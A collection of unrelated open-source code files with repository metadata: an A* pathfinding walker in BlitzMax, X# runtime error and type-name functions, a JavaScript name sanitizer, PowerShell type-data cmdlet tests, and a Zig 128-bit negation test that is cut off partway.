' If heuristic was 0 then we'd have an optimal search...
goalDistance = goalDistance * _heuristicMultiplier
' What we guess the total cost would be to get from start to finish through
' this neighbour
Local totalCostOfNeighbourPath:Float = goalDistance + cost
' If we haven't visited this neighbour node yet at all, save it for later visiting
' This line used to be If Not neighbourNode.inClosed() And Not neighbourNode.inOpen()
' Don't need it as now we have the optimisation above that doesn't enter here if they
' neighbour is in the closed list
' If Not neighbourNode.inClosed()And Not neighbourNode.inOpen()
If Not neighbourNode.inOpen()
' Assume we'll go from us to neighbour by setting us as the parent
neighbourNode.setParent(node)
' Set the PQueue key as the total cost of this path to the goal
' Queue is sorted smallest first so we always look at shortest distances
neighbourNode.setKey(totalCostOfNeighbourPath) ' Goes in queue based on total distance
' Save what we calculated that the cost was to get to this neighbour
neighbourNode.setCostToGetHere(cost) ' What we consider it's cost is
neighbourNode.setGoalDistance(goalDistance) ' What we consider it's cost is
neighbourNode.setInOpen(True)
_queue.insert(neighbourNode)
Else
' OK, neighbour is in a list (Actually must be in Open list at this point)
' so see if we have a better path to it by seeing if the cost to get
' to this neighbour the other way is more than the cost from our node
' to this neighbour.
' If it is, then our path is better
If neighbourNode.costToGetHere() > cost
' If it was in the closed list, then we're going to put it in the open list
' cause we want to now be able to look at it again as a possible path
' If neighbourNode.inClosed()
' neighbourNode.setInClosed(False)
' EndIf
' Above is removed because of optimisation
neighbourNode.setParent(node)
neighbourNode.setKey(totalCostOfNeighbourPath) ' Goes in queue based on total distance
neighbourNode.setGoalDistance(goalDistance) ' Estimate to get to goal
neighbourNode.setCostToGetHere(cost) ' What we consider it's cost is
'TODO: Optimise this. Rather than remove and add, we could shift in the queue if
' we knew it's index.
' Removed if below because optimisation allows us to know that we must be in the open list to get here
' If neighbourNode.inOpen()
pos:Int = _queue.find(neighbourNode)
Assert pos > 0, "Was going to remove item that wasn't in queue!"
_queue.remove(pos)
neighbourNode.setInOpen(False)
' EndIf
_queue.insert(neighbourNode)
neighbourNode.setInOpen(True)
EndIf
EndIf
EndIf
' If _callback <> Null
' _callback.node = node
' _callback.queue = _queue
' _callback.callback()
' Flip;WaitKey
' EndIf
Next
End Method
' public
' Method to walk the graph, finding the shortest path
'
' RETURNS:
' False - Failed to find path to the end node
' True - Found a path to the end
' PRE: Must have called setParameters first
Method walk()
Assert _parametersSet,"Must call setParameters() first"
_lastWalkSucceeded = False
Local startNode:AStarNode = _start
Local endNode:AStarNode =_end
' Initialise starting node's information
Local distanceToGoal:Float = _distanceTo(_start, _end)
startNode.setCostToGetHere(0)
startNode.setKey(distanceToGoal * _heuristicMultiplier + startNode.costToGetHere())
startNode.setParent(Null)
startNode.setInOpen(True)
_queue.insert(startNode)
While _queue.size() > 0
Local node:AStarNode = AStarNode(_queue.remove())
' node.setInOpen(False)
node.setInClosed(True)
' Have we found our destination???
If node = endNode Then
Local currentNode:AStarNode = node
While currentNode <> Null
_finalPath.AddFirst(currentNode)
currentNode = currentNode.getParent()
Wend
_lastWalkSucceeded = True
_queue = Null
Return True
EndIf
_makeSuccessors(node, endNode)
If _callback <> Null
_callback.node = node
_callback.queue = _queue
_callback.callback()
EndIf
' temp
Wend
Return False
End Method
' Resets a node so that it's ready for a new path find. Call this from whatever manages the nodes
' as AStarGraphWalker, doesn't actually know how many, or what nodes you have, but it does know how
' to reset one
Method resetNode(node:AStarNode)
node._parentNode = Null
node.setInClosed(False)
node.setInOpen(False)
End Method
'private
' Returns an estimated distance between two nodes
Method _distanceTo:Float(startNode:AStarNode, endNode:AStarNode)
Local startX = startNode._x
Local startY = startNode._y
Local endX = endNode._x
Local endY = endNode._y
Local dx = Abs(endX - startX)
Local dy = Abs(endY - startY)
'TODO: I had distanceFunction without the _ below and Blitz Didn't complain
Select _distanceFunction
Case distanceEuclidean
Return Sqr( dx * dx + dy * dy )
Case distancePseudoEuclidean
Return dx * dx + dy * dy
Case distanceManhatten
Return dx + dy
Case distanceDiagonalShortcut
If dx > dy
Return 1.4*dy + (dx-dy)
Else
Return 1.4*dx + (dy-dx)
End If
Default
Assert 0,"Bad distance function"
End Select
End Method
' Fields
' Possible ways to calculate distance. It's good to specify the edge costs between nodes
' relative to your distance calculations because as they are related. For instance, if you calculate edge costs
' using simple Euclidean distance, so that two adjacent blocks would be 1 away or 1.4 (if diagonal)
' multiplied by some small "difficulty factor", say 1 for normal roads, or 2 for water
' Then distanceEuclidean is a good estimator of distance and distancePseudoEuclidean
' tends to override the edgecosts and the pathfinder sort of busts through them.
' This can be a good thing as it could provide a simple way to make a unit "dumber"
Const distanceEuclidean = 0
Const distancePseudoEuclidean = 1
Const distanceManhatten = 2
Const distanceDiagonalShortcut = 3
Field _heuristicMultiplier = 1 ' 0 should generate "optimal" path
Field _start:AStarNode
Field _end:AStarNode
Field _distanceMode:Int = distanceEuclidean
Field _queue:PriorityQueue
Field _parametersSet = False
Field _finalPath:TList
Field _callback:AStarCallback = Null
Field _distanceFunction = distanceEuclidean
Field _lastWalkSucceeded = False
EndType
| BlitzMax | 5 | jabdoa2/blitzmax | samples/aaronkoolen/AStar/astar_graph_walker.bmx | [
"Zlib"
] |
//
// Copyright (c) XSharp B.V. All Rights Reserved.
// Licensed under the Apache License, Version 2.0.
// See License.txt in the project root for license information.
//
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/errstring/*" />
FUNCTION ErrString(dwNewReturnCode AS DWORD) AS STRING
LOCAL cResource AS STRING
IF dwNewReturnCode > XSharp.Gencode.EG_MAX
cResource := "RT_MSG_ERR_UNKNOWN"
ELSE
cResource := "RT_MSG_ERR_" + dwNewReturnCode:ToString()
ENDIF
RETURN Messages.GetString(cResource)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/doserrstring/*" />
FUNCTION DosErrString(dwError AS DWORD) AS STRING
RETURN System.ComponentModel.Win32Exception{ (INT) dwError }.Message
/// <summary>Return a descriptive name (in upper case) for a X# (Usual) Type</summary>
/// <param name="dwType">Type number to check for</param>
/// <returns>
/// </returns>
FUNCTION TypeString( nType AS DWORD ) AS STRING
LOCAL ret AS STRING
SWITCH (__UsualType) nType
CASE __UsualType.Void
ret := "NIL"
CASE __UsualType.Long
ret := "LONGINT"
CASE __UsualType.Date
ret := "DATE"
CASE __UsualType.Float
ret := "FLOAT"
CASE __UsualType.Fixed
ret := "FIXED"
CASE __UsualType.Array
ret := "ARRAY"
CASE __UsualType.Object
ret := "OBJECT"
CASE __UsualType.String
ret := "STRING"
CASE __UsualType.Logic
ret := "LOGIC"
CASE __UsualType.Codeblock
ret := "CODEBLOCK"
CASE __UsualType.Symbol
ret := "SYMBOL"
CASE __UsualType.Byte
ret := "BYTE"
CASE __UsualType.ShortInt
ret := "SHORTINT"
CASE __UsualType.Word
ret := "WORD"
CASE __UsualType.DWord
ret := "DWORD"
CASE __UsualType.Real4
ret := "REAL4"
CASE __UsualType.Real8
ret := "REAL8"
CASE __UsualType.Psz
ret := "PSZ"
CASE __UsualType.Ptr
ret := "PTR"
CASE __UsualType.Usual
ret := "USUAL"
CASE __UsualType.Int64
ret := "INT64"
CASE __UsualType.UInt64
ret := "UINT64"
CASE __UsualType.Char
ret := "CHAR"
CASE __UsualType.Dynamic
ret := "DYNAMIC"
CASE __UsualType.DateTime
ret := "DATETIME"
CASE __UsualType.Decimal
ret := "DECIMAL"
CASE __UsualType.Currency
ret := "CURRENCY"
CASE __UsualType.Memo
ret := "MEMO"
CASE __UsualType.Invalid
ret := "INVALID"
OTHERWISE
ret := "UNKNOWN"
END SWITCH
RETURN ret
| xBase | 5 | orangesocks/XSharpPublic | Runtime/XSharp.Core/Functions/Error.prg | [
"Apache-2.0"
] |
module.exports = function sanitizeName(s) {
return s.replace(/[^_a-zA-Z0-9]/g, ``).replace(/\b\w/g, l => l.toUpperCase())
}
| JavaScript | 4 | JQuinnie/gatsby | packages/gatsby-source-mongodb/src/sanitize-name.js | [
"MIT"
] |
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
Describe "TestData cmdlets" -Tags "CI" {
Context "Get-TypeData" {
It "System.DateTime" {
(Get-TypeData System.DateTime).TypeName | Should -Be System.DateTime
# Supports pipelining?
("System.DateTime" | Get-TypeData).TypeName | Should -Be System.DateTime
}
It "Type accelerators" {
(Get-TypeData DateTime).TypeName | Should -Be System.DateTime
(Get-TypeData psCredential).TypeName | Should -Be System.Management.Automation.PSCredential
}
It "Accept multiple types" {
$types = Get-TypeData System.DateTime, System.Management.Automation* | Sort-Object -Property TypeName
$types[0].TypeName | Should -Be System.DateTime
for($i = 1; $i -lt $types.Count; $i++)
{
$types[$i].TypeName.StartsWith("System.Management.Automation") | Should -BeTrue
}
}
It "System.Object" {
Get-TypeData System.Object | Should -Be $null
}
}
# The rest of these tests do their work in another runspace to avoid messing up the current runspace
Context "Update-TypeData" {
BeforeAll {
$script:ps = [PowerShell]::Create()
}
BeforeEach {
$ps.Commands.Clear()
$ps.Streams.Error.Clear()
}
AfterAll {
$ps.Dispose()
$script:ps = $null
}
It "TypeAdapter parameter" {
$type = $ps.AddScript(@"
Update-TypeData -TypeName Void -TypeAdapter Microsoft.PowerShell.Cim.CimInstanceAdapter
Get-TypeData System.Void
"@).Invoke()
$type[0].TypeName | Should -Be System.Void
$type[0].TypeAdapter.FullName | Should -Be Microsoft.PowerShell.Cim.CimInstanceAdapter
}
}
Context "Remove-TypeData" {
BeforeAll {
$script:ps = [PowerShell]::Create()
Setup -F dummy1.types.ps1xml -Content "<Types><Type><Name>yyyDummy</Name><Members><ScriptProperty><Name>yyyDummy</Name><GetScriptBlock>'yyyDummy'</GetScriptBlock></ScriptProperty></Members></Type></Types>"
Setup -F dummy2.types.ps1xml -Content "<Types><Type><Name>zzzDummy</Name><Members><ScriptProperty><Name>zzzDummy</Name><GetScriptBlock>'zzzDummy'</GetScriptBlock></ScriptProperty></Members></Type></Types>"
}
BeforeEach {
$ps.Commands.Clear()
$ps.Streams.Error.Clear()
}
AfterAll {
$ps.Dispose()
$script:ps = $null
}
It "Remove type that doesn't exist" {
$typeName = "TypeThatDoesNotExistsAnywhere" + (Get-Random)
$ps.AddScript("Remove-TypeData -TypeName $typeName").Invoke()
$ps.Streams.Error[0].FullyQualifiedErrorId | Should -Be "TypesDynamicRemoveException,Microsoft.PowerShell.Commands.RemoveTypeDataCommand"
}
##{ All of the following It blocks are intended to run in sequence, so don't reorder them.
It "Add type file," {
$ps.AddScript("Update-TypeData -AppendPath $TestDrive\dummy1.types.ps1xml").Invoke()
$ps.Streams.Error.Count | Should -Be 0
}
It "Get type data from file just added," {
$type = $ps.AddScript("Get-TypeData -TypeName yyyDummy").Invoke()
$ps.Streams.Error.Count | Should -Be 0
$type[0].TypeName | Should -Be yyyDummy
}
It "Remove type file just added," {
$ps.AddScript("Remove-TypeData -Path $TestDrive\dummy1.types.ps1xml").Invoke()
$ps.Streams.Error.Count | Should -Be 0
}
It "Make sure type was removed" {
$type = $ps.AddScript("Get-TypeData -TypeName yyyDummy").Invoke()
$type.Count | Should -Be 0
}
It "Add another type file," {
$ps.AddScript("Update-TypeData -AppendPath $TestDrive\dummy2.types.ps1xml").Invoke()
$ps.Streams.Error.Count | Should -Be 0
}
It "Now add some type data to one of those newly added types" {
$ps.AddScript("Update-TypeData -TypeName zzzDummy -MemberType NoteProperty -MemberName DynamicDummyProperty -Value 10").Invoke()
$ps.Streams.Error.Count | Should -Be 0
}
It "Remove the newly type file," {
$ps.AddScript("Remove-TypeData -Path $TestDrive\dummy2.types.ps1xml").Invoke()
$ps.Streams.Error.Count | Should -Be 0
}
It "Remove the newly type file a second time, should error," {
$ps.AddScript("Remove-TypeData -Path $TestDrive\dummy2.types.ps1xml").Invoke()
$ps.Streams.Error.Count | Should -Be 1
$ps.Streams.Error[0].FullyQualifiedErrorId | Should -Be "TypeFileNotExistsInCurrentSession,Microsoft.PowerShell.Commands.RemoveTypeDataCommand"
}
It "Dynamic property added should still be there" {
$res = $ps.AddScript("Get-TypeData -TypeName zzzDummy").Invoke()
$res.Count | Should -Be 1
$res[0].Members.Keys[0] | Should -Be DynamicDummyProperty
}
##} All of the preceding It blocks are intended to run in sequence, so don't reorder them.
}
}
| PowerShell | 5 | rdtechie/PowerShell | test/powershell/Modules/Microsoft.PowerShell.Utility/typedata.tests.ps1 | [
"MIT"
] |
const neg = @import("negXi2.zig");
const testing = @import("std").testing;
fn test__negti2(a: i128, expected: i128) !void {
var result = neg.__negti2(a);
try testing.expectEqual(expected, result);
}
test "negdi2" {
// TODO ensuring that math.minInt(i128); returns error
try test__negti2(-3, 3);
try test__negti2(-2, 2);
try test__negti2(-1, 1);
try test__negti2(0, 0); // special case for 2s complement
try test__negti2(1, -1);
try test__negti2(2, -2);
try test__negti2(3, -3);
// max_usable == MAX(i32) == -MIN(i32)
// == 170141183460469231731687303715884105727
// == 7fffffffffffffffffffffffffffffff
// divTrunc: max_usable / i, i=1,2,3,5,100
// 7fffffffffffffffffffffffffffffff / i
try test__negti2(-56713727820156410577229101238628035242, 56713727820156410577229101238628035242);
try test__negti2(56713727820156410577229101238628035242, -56713727820156410577229101238628035242);
try test__negti2(-34028236692093846346337460743176821145, 34028236692093846346337460743176821145);
try test__negti2(34028236692093846346337460743176821145, -34028236692093846346337460743176821145);
try test__negti2(-17014118346046923173168730371588410572, 17014118346046923173168730371588410572);
try test__negti2(17014118346046923173168730371588410572, -17014118346046923173168730371588410572);
// shifting: max_usable >> i, i=0..bitsize-4
// 7fffffffffffffffffffffffffffffff >> i
// 7fffffffffffffffffffffffffffffff >> i + 1
// 7fffffffffffffffffffffffffffffff >> i + 3
// 7fffffffffffffffffffffffffffffff >> i + 7
try test__negti2(-170141183460469231731687303715884105727, 170141183460469231731687303715884105727);
try test__negti2(170141183460469231731687303715884105727, -170141183460469231731687303715884105727);
try test__negti2(-170141183460469231731687303715884105726, 170141183460469231731687303715884105726);
try test__negti2(170141183460469231731687303715884105726, -170141183460469231731687303715884105726);
try test__negti2(-170141183460469231731687303715884105724, 170141183460469231731687303715884105724);
try test__negti2(170141183460469231731687303715884105724, -170141183460469231731687303715884105724);
try test__negti2(-170141183460469231731687303715884105720, 170141183460469231731687303715884105720);
try test__negti2(170141183460469231731687303715884105720, -170141183460469231731687303715884105720);
try test__negti2(-85070591730234615865843651857942052863, 85070591730234615865843651857942052863);
try test__negti2(85070591730234615865843651857942052863, -85070591730234615865843651857942052863);
try test__negti2(-85070591730234615865843651857942052862, 85070591730234615865843651857942052862);
try test__negti2(85070591730234615865843651857942052862, -85070591730234615865843651857942052862);
try test__negti2(-85070591730234615865843651857942052860, 85070591730234615865843651857942052860);
try test__negti2(85070591730234615865843651857942052860, -85070591730234615865843651857942052860);
try test__negti2(-85070591730234615865843651857942052856, 85070591730234615865843651857942052856);
try test__negti2(85070591730234615865843651857942052856, -85070591730234615865843651857942052856);
try test__negti2(-42535295865117307932921825928971026431, 42535295865117307932921825928971026431);
try test__negti2(42535295865117307932921825928971026431, -42535295865117307932921825928971026431);
try test__negti2(-42535295865117307932921825928971026430, 42535295865117307932921825928971026430);
try test__negti2(42535295865117307932921825928971026430, -42535295865117307932921825928971026430);
try test__negti2(-42535295865117307932921825928971026428, 42535295865117307932921825928971026428);
try test__negti2(42535295865117307932921825928971026428, -42535295865117307932921825928971026428);
try test__negti2(-42535295865117307932921825928971026424, 42535295865117307932921825928971026424);
try test__negti2(42535295865117307932921825928971026424, -42535295865117307932921825928971026424);
try test__negti2(-21267647932558653966460912964485513215, 21267647932558653966460912964485513215);
try test__negti2(21267647932558653966460912964485513215, -21267647932558653966460912964485513215);
try test__negti2(-21267647932558653966460912964485513214, 21267647932558653966460912964485513214);
try test__negti2(21267647932558653966460912964485513214, -21267647932558653966460912964485513214);
try test__negti2(-21267647932558653966460912964485513212, 21267647932558653966460912964485513212);
try test__negti2(21267647932558653966460912964485513212, -21267647932558653966460912964485513212);
try test__negti2(-21267647932558653966460912964485513208, 21267647932558653966460912964485513208);
try test__negti2(21267647932558653966460912964485513208, -21267647932558653966460912964485513208);
try test__negti2(-10633823966279326983230456482242756607, 10633823966279326983230456482242756607);
try test__negti2(10633823966279326983230456482242756607, -10633823966279326983230456482242756607);
try test__negti2(-10633823966279326983230456482242756606, 10633823966279326983230456482242756606);
try test__negti2(10633823966279326983230456482242756606, -10633823966279326983230456482242756606);
try test__negti2(-10633823966279326983230456482242756604, 10633823966279326983230456482242756604);
try test__negti2(10633823966279326983230456482242756604, -10633823966279326983230456482242756604);
try test__negti2(-10633823966279326983230456482242756600, 10633823966279326983230456482242756600);
try test__negti2(10633823966279326983230456482242756600, -10633823966279326983230456482242756600);
try test__negti2(-5316911983139663491615228241121378303, 5316911983139663491615228241121378303);
try test__negti2(5316911983139663491615228241121378303, -5316911983139663491615228241121378303);
try test__negti2(-5316911983139663491615228241121378302, 5316911983139663491615228241121378302);
try test__negti2(5316911983139663491615228241121378302, -5316911983139663491615228241121378302);
try test__negti2(-5316911983139663491615228241121378300, 5316911983139663491615228241121378300);
try test__negti2(5316911983139663491615228241121378300, -5316911983139663491615228241121378300);
try test__negti2(-5316911983139663491615228241121378296, 5316911983139663491615228241121378296);
try test__negti2(5316911983139663491615228241121378296, -5316911983139663491615228241121378296);
try test__negti2(-2658455991569831745807614120560689151, 2658455991569831745807614120560689151);
try test__negti2(2658455991569831745807614120560689151, -2658455991569831745807614120560689151);
try test__negti2(-2658455991569831745807614120560689150, 2658455991569831745807614120560689150);
try test__negti2(2658455991569831745807614120560689150, -2658455991569831745807614120560689150);
try test__negti2(-2658455991569831745807614120560689148, 2658455991569831745807614120560689148);
try test__negti2(2658455991569831745807614120560689148, -2658455991569831745807614120560689148);
try test__negti2(-2658455991569831745807614120560689144, 2658455991569831745807614120560689144);
try test__negti2(2658455991569831745807614120560689144, -2658455991569831745807614120560689144);
try test__negti2(-1329227995784915872903807060280344575, 1329227995784915872903807060280344575);
try test__negti2(1329227995784915872903807060280344575, -1329227995784915872903807060280344575);
try test__negti2(-1329227995784915872903807060280344574, 1329227995784915872903807060280344574);
try test__negti2(1329227995784915872903807060280344574, -1329227995784915872903807060280344574);
try test__negti2(-1329227995784915872903807060280344572, 1329227995784915872903807060280344572);
try test__negti2(1329227995784915872903807060280344572, -1329227995784915872903807060280344572);
try test__negti2(-1329227995784915872903807060280344568, 1329227995784915872903807060280344568);
try test__negti2(1329227995784915872903807060280344568, -1329227995784915872903807060280344568);
try test__negti2(-664613997892457936451903530140172287, 664613997892457936451903530140172287);
try test__negti2(664613997892457936451903530140172287, -664613997892457936451903530140172287);
try test__negti2(-664613997892457936451903530140172286, 664613997892457936451903530140172286);
try test__negti2(664613997892457936451903530140172286, -664613997892457936451903530140172286);
try test__negti2(-664613997892457936451903530140172284, 664613997892457936451903530140172284);
try test__negti2(664613997892457936451903530140172284, -664613997892457936451903530140172284);
try test__negti2(-664613997892457936451903530140172280, 664613997892457936451903530140172280);
try test__negti2(664613997892457936451903530140172280, -664613997892457936451903530140172280);
try test__negti2(-332306998946228968225951765070086143, 332306998946228968225951765070086143);
try test__negti2(332306998946228968225951765070086143, -332306998946228968225951765070086143);
try test__negti2(-332306998946228968225951765070086142, 332306998946228968225951765070086142);
try test__negti2(332306998946228968225951765070086142, -332306998946228968225951765070086142);
try test__negti2(-332306998946228968225951765070086140, 332306998946228968225951765070086140);
try test__negti2(332306998946228968225951765070086140, -332306998946228968225951765070086140);
try test__negti2(-332306998946228968225951765070086136, 332306998946228968225951765070086136);
try test__negti2(332306998946228968225951765070086136, -332306998946228968225951765070086136);
try test__negti2(-166153499473114484112975882535043071, 166153499473114484112975882535043071);
try test__negti2(166153499473114484112975882535043071, -166153499473114484112975882535043071);
try test__negti2(-166153499473114484112975882535043070, 166153499473114484112975882535043070);
try test__negti2(166153499473114484112975882535043070, -166153499473114484112975882535043070);
try test__negti2(-166153499473114484112975882535043068, 166153499473114484112975882535043068);
try test__negti2(166153499473114484112975882535043068, -166153499473114484112975882535043068);
try test__negti2(-166153499473114484112975882535043064, 166153499473114484112975882535043064);
try test__negti2(166153499473114484112975882535043064, -166153499473114484112975882535043064);
try test__negti2(-83076749736557242056487941267521535, 83076749736557242056487941267521535);
try test__negti2(83076749736557242056487941267521535, -83076749736557242056487941267521535);
try test__negti2(-83076749736557242056487941267521534, 83076749736557242056487941267521534);
try test__negti2(83076749736557242056487941267521534, -83076749736557242056487941267521534);
try test__negti2(-83076749736557242056487941267521532, 83076749736557242056487941267521532);
try test__negti2(83076749736557242056487941267521532, -83076749736557242056487941267521532);
try test__negti2(-83076749736557242056487941267521528, 83076749736557242056487941267521528);
try test__negti2(83076749736557242056487941267521528, -83076749736557242056487941267521528);
try test__negti2(-41538374868278621028243970633760767, 41538374868278621028243970633760767);
try test__negti2(41538374868278621028243970633760767, -41538374868278621028243970633760767);
try test__negti2(-41538374868278621028243970633760766, 41538374868278621028243970633760766);
try test__negti2(41538374868278621028243970633760766, -41538374868278621028243970633760766);
try test__negti2(-41538374868278621028243970633760764, 41538374868278621028243970633760764);
try test__negti2(41538374868278621028243970633760764, -41538374868278621028243970633760764);
try test__negti2(-41538374868278621028243970633760760, 41538374868278621028243970633760760);
try test__negti2(41538374868278621028243970633760760, -41538374868278621028243970633760760);
try test__negti2(-20769187434139310514121985316880383, 20769187434139310514121985316880383);
try test__negti2(20769187434139310514121985316880383, -20769187434139310514121985316880383);
try test__negti2(-20769187434139310514121985316880382, 20769187434139310514121985316880382);
try test__negti2(20769187434139310514121985316880382, -20769187434139310514121985316880382);
try test__negti2(-20769187434139310514121985316880380, 20769187434139310514121985316880380);
try test__negti2(20769187434139310514121985316880380, -20769187434139310514121985316880380);
try test__negti2(-20769187434139310514121985316880376, 20769187434139310514121985316880376);
try test__negti2(20769187434139310514121985316880376, -20769187434139310514121985316880376);
try test__negti2(-10384593717069655257060992658440191, 10384593717069655257060992658440191);
try test__negti2(10384593717069655257060992658440191, -10384593717069655257060992658440191);
try test__negti2(-10384593717069655257060992658440190, 10384593717069655257060992658440190);
try test__negti2(10384593717069655257060992658440190, -10384593717069655257060992658440190);
try test__negti2(-10384593717069655257060992658440188, 10384593717069655257060992658440188);
try test__negti2(10384593717069655257060992658440188, -10384593717069655257060992658440188);
try test__negti2(-10384593717069655257060992658440184, 10384593717069655257060992658440184);
try test__negti2(10384593717069655257060992658440184, -10384593717069655257060992658440184);
try test__negti2(-5192296858534827628530496329220095, 5192296858534827628530496329220095);
try test__negti2(5192296858534827628530496329220095, -5192296858534827628530496329220095);
try test__negti2(-5192296858534827628530496329220094, 5192296858534827628530496329220094);
try test__negti2(5192296858534827628530496329220094, -5192296858534827628530496329220094);
try test__negti2(-5192296858534827628530496329220092, 5192296858534827628530496329220092);
try test__negti2(5192296858534827628530496329220092, -5192296858534827628530496329220092);
try test__negti2(-5192296858534827628530496329220088, 5192296858534827628530496329220088);
try test__negti2(5192296858534827628530496329220088, -5192296858534827628530496329220088);
try test__negti2(-2596148429267413814265248164610047, 2596148429267413814265248164610047);
try test__negti2(2596148429267413814265248164610047, -2596148429267413814265248164610047);
try test__negti2(-2596148429267413814265248164610046, 2596148429267413814265248164610046);
try test__negti2(2596148429267413814265248164610046, -2596148429267413814265248164610046);
try test__negti2(-2596148429267413814265248164610044, 2596148429267413814265248164610044);
try test__negti2(2596148429267413814265248164610044, -2596148429267413814265248164610044);
try test__negti2(-2596148429267413814265248164610040, 2596148429267413814265248164610040);
try test__negti2(2596148429267413814265248164610040, -2596148429267413814265248164610040);
try test__negti2(-1298074214633706907132624082305023, 1298074214633706907132624082305023);
try test__negti2(1298074214633706907132624082305023, -1298074214633706907132624082305023);
try test__negti2(-1298074214633706907132624082305022, 1298074214633706907132624082305022);
try test__negti2(1298074214633706907132624082305022, -1298074214633706907132624082305022);
try test__negti2(-1298074214633706907132624082305020, 1298074214633706907132624082305020);
try test__negti2(1298074214633706907132624082305020, -1298074214633706907132624082305020);
try test__negti2(-1298074214633706907132624082305016, 1298074214633706907132624082305016);
try test__negti2(1298074214633706907132624082305016, -1298074214633706907132624082305016);
try test__negti2(-649037107316853453566312041152511, 649037107316853453566312041152511);
try test__negti2(649037107316853453566312041152511, -649037107316853453566312041152511);
try test__negti2(-649037107316853453566312041152510, 649037107316853453566312041152510);
try test__negti2(649037107316853453566312041152510, -649037107316853453566312041152510);
try test__negti2(-649037107316853453566312041152508, 649037107316853453566312041152508);
try test__negti2(649037107316853453566312041152508, -649037107316853453566312041152508);
try test__negti2(-649037107316853453566312041152504, 649037107316853453566312041152504);
try test__negti2(649037107316853453566312041152504, -649037107316853453566312041152504);
try test__negti2(-324518553658426726783156020576255, 324518553658426726783156020576255);
try test__negti2(324518553658426726783156020576255, -324518553658426726783156020576255);
try test__negti2(-324518553658426726783156020576254, 324518553658426726783156020576254);
try test__negti2(324518553658426726783156020576254, -324518553658426726783156020576254);
try test__negti2(-324518553658426726783156020576252, 324518553658426726783156020576252);
try test__negti2(324518553658426726783156020576252, -324518553658426726783156020576252);
try test__negti2(-324518553658426726783156020576248, 324518553658426726783156020576248);
try test__negti2(324518553658426726783156020576248, -324518553658426726783156020576248);
try test__negti2(-162259276829213363391578010288127, 162259276829213363391578010288127);
try test__negti2(162259276829213363391578010288127, -162259276829213363391578010288127);
try test__negti2(-162259276829213363391578010288126, 162259276829213363391578010288126);
try test__negti2(162259276829213363391578010288126, -162259276829213363391578010288126);
try test__negti2(-162259276829213363391578010288124, 162259276829213363391578010288124);
try test__negti2(162259276829213363391578010288124, -162259276829213363391578010288124);
try test__negti2(-162259276829213363391578010288120, 162259276829213363391578010288120);
try test__negti2(162259276829213363391578010288120, -162259276829213363391578010288120);
try test__negti2(-81129638414606681695789005144063, 81129638414606681695789005144063);
try test__negti2(81129638414606681695789005144063, -81129638414606681695789005144063);
try test__negti2(-81129638414606681695789005144062, 81129638414606681695789005144062);
try test__negti2(81129638414606681695789005144062, -81129638414606681695789005144062);
try test__negti2(-81129638414606681695789005144060, 81129638414606681695789005144060);
try test__negti2(81129638414606681695789005144060, -81129638414606681695789005144060);
try test__negti2(-81129638414606681695789005144056, 81129638414606681695789005144056);
try test__negti2(81129638414606681695789005144056, -81129638414606681695789005144056);
try test__negti2(-40564819207303340847894502572031, 40564819207303340847894502572031);
try test__negti2(40564819207303340847894502572031, -40564819207303340847894502572031);
try test__negti2(-40564819207303340847894502572030, 40564819207303340847894502572030);
try test__negti2(40564819207303340847894502572030, -40564819207303340847894502572030);
try test__negti2(-40564819207303340847894502572028, 40564819207303340847894502572028);
try test__negti2(40564819207303340847894502572028, -40564819207303340847894502572028);
try test__negti2(-40564819207303340847894502572024, 40564819207303340847894502572024);
try test__negti2(40564819207303340847894502572024, -40564819207303340847894502572024);
try test__negti2(-20282409603651670423947251286015, 20282409603651670423947251286015);
try test__negti2(20282409603651670423947251286015, -20282409603651670423947251286015);
try test__negti2(-20282409603651670423947251286014, 20282409603651670423947251286014);
try test__negti2(20282409603651670423947251286014, -20282409603651670423947251286014);
try test__negti2(-20282409603651670423947251286012, 20282409603651670423947251286012);
try test__negti2(20282409603651670423947251286012, -20282409603651670423947251286012);
try test__negti2(-20282409603651670423947251286008, 20282409603651670423947251286008);
try test__negti2(20282409603651670423947251286008, -20282409603651670423947251286008);
try test__negti2(-10141204801825835211973625643007, 10141204801825835211973625643007);
try test__negti2(10141204801825835211973625643007, -10141204801825835211973625643007);
try test__negti2(-10141204801825835211973625643006, 10141204801825835211973625643006);
try test__negti2(10141204801825835211973625643006, -10141204801825835211973625643006);
try test__negti2(-10141204801825835211973625643004, 10141204801825835211973625643004);
try test__negti2(10141204801825835211973625643004, -10141204801825835211973625643004);
try test__negti2(-10141204801825835211973625643000, 10141204801825835211973625643000);
try test__negti2(10141204801825835211973625643000, -10141204801825835211973625643000);
try test__negti2(-5070602400912917605986812821503, 5070602400912917605986812821503);
try test__negti2(5070602400912917605986812821503, -5070602400912917605986812821503);
try test__negti2(-5070602400912917605986812821502, 5070602400912917605986812821502);
try test__negti2(5070602400912917605986812821502, -5070602400912917605986812821502);
try test__negti2(-5070602400912917605986812821500, 5070602400912917605986812821500);
try test__negti2(5070602400912917605986812821500, -5070602400912917605986812821500);
try test__negti2(-5070602400912917605986812821496, 5070602400912917605986812821496);
try test__negti2(5070602400912917605986812821496, -5070602400912917605986812821496);
try test__negti2(-2535301200456458802993406410751, 2535301200456458802993406410751);
try test__negti2(2535301200456458802993406410751, -2535301200456458802993406410751);
try test__negti2(-2535301200456458802993406410750, 2535301200456458802993406410750);
try test__negti2(2535301200456458802993406410750, -2535301200456458802993406410750);
try test__negti2(-2535301200456458802993406410748, 2535301200456458802993406410748);
try test__negti2(2535301200456458802993406410748, -2535301200456458802993406410748);
try test__negti2(-2535301200456458802993406410744, 2535301200456458802993406410744);
try test__negti2(2535301200456458802993406410744, -2535301200456458802993406410744);
try test__negti2(-1267650600228229401496703205375, 1267650600228229401496703205375);
try test__negti2(1267650600228229401496703205375, -1267650600228229401496703205375);
try test__negti2(-1267650600228229401496703205374, 1267650600228229401496703205374);
try test__negti2(1267650600228229401496703205374, -1267650600228229401496703205374);
try test__negti2(-1267650600228229401496703205372, 1267650600228229401496703205372);
try test__negti2(1267650600228229401496703205372, -1267650600228229401496703205372);
try test__negti2(-1267650600228229401496703205368, 1267650600228229401496703205368);
try test__negti2(1267650600228229401496703205368, -1267650600228229401496703205368);
try test__negti2(-633825300114114700748351602687, 633825300114114700748351602687);
try test__negti2(633825300114114700748351602687, -633825300114114700748351602687);
try test__negti2(-633825300114114700748351602686, 633825300114114700748351602686);
try test__negti2(633825300114114700748351602686, -633825300114114700748351602686);
try test__negti2(-633825300114114700748351602684, 633825300114114700748351602684);
try test__negti2(633825300114114700748351602684, -633825300114114700748351602684);
